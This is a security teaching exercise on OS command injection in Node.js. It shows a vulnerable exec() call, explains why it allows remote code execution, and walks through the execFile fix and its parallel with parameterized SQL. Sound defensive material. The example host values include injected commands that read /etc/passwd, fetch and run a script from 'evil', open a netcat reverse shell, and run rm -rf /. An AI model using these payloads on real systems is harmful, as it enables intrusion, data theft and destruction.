EXERCISE 2 — OS command injection: the attack, the impact, the fix =================================================================== THE VULNERABLE CODE: const cmd = "ping -c 1 " + req.query.host; exec(cmd); // exec() runs the string through a SHELL (/bin/sh -c "...") HOW AN ATTACKER ACHIEVES COMMAND EXECUTION: - exec() passes the whole string to a SHELL, which interprets shell metacharacters: ; & && || | ` $() etc. The host value is concatenated in, so the attacker injects shell syntax: host = "8.8.8.8; cat /etc/passwd" -> ping -c 1 8.8.8.8; cat /etc/passwd (the ; ENDS the ping command and runs a SECOND command) Other separators work too: host = "8.8.8.8 && curl http://evil/install.sh | sh" (chain + fetch+run) host = "8.8.8.8 | nc evil 4444 -e /bin/sh" (reverse shell) host = "$(rm -rf /)" (command substitution) - The attacker's text became SHELL CODE, not a hostname argument. WHY IT CAN MEAN FULL SERVER COMPROMISE (RCE): - Unlike SQLi (which is bounded by the database) or XSS (bounded by the browser/origin), command injection runs arbitrary commands on the SERVER's OPERATING SYSTEM with the privileges of the app process. That's REMOTE CODE EXECUTION: read/write any file the process can, install malware, open a reverse shell, pivot into the internal network, exfiltrate everything. It's among the most severe outcomes in the whole Top 10 — the attacker owns the host, not just the data. THE SAFE VERSION: const { execFile } = require("child_process"); execFile("ping", ["-c", "1", host], (err, stdout) => { ... }); - execFile does NOT spawn a shell. It runs the "ping" binary directly and passes ["-c","1",host] as SEPARATE ARGUMENTS. The host value is delivered to ping as a single argv entry, so shell metacharacters in it have NO special meaning — "8.8.8.8; cat /etc/passwd" is treated as one (invalid) hostname, not as two commands. - Additional hardening: validate host against an allowlist/format (e.g. a valid hostname/IP regex) as defence in depth; run the process with least privilege; and best of all, avoid shelling out entirely — use a library/API (e.g. an ICMP/network library) instead of invoking a CLI tool. - Avoid: exec()/system()/shell:true with concatenated input; passing user data anywhere a shell will re-parse it. WHY IT'S THE SAME PRINCIPLE AS PARAMETERIZED SQL QUERIES: - Parameterized SQL separates the QUERY (with placeholders) from the DATA (bound values), so the data is never parsed as SQL. execFile separates the COMMAND (the binary + fixed flags) from the DATA (the host argument), so the data is never parsed as shell. In both, the structure is fixed up front and the untrusted value can only occupy a DATA slot, never gain syntactic power. - It's one idea — KEEP DATA OFF THE CODE CHANNEL by sending command/query and data on separate channels — applied to two different interpreters (SQL vs the shell). The XSS analogue is output encoding; same family, same cure. ONE-LINE TAKEAWAY: exec() with concatenated input lets ; && | $() chain attacker commands -> full RCE/server takeover; fix by running the binary with arguments as an array (execFile), the shell-world equivalent of parameterized queries.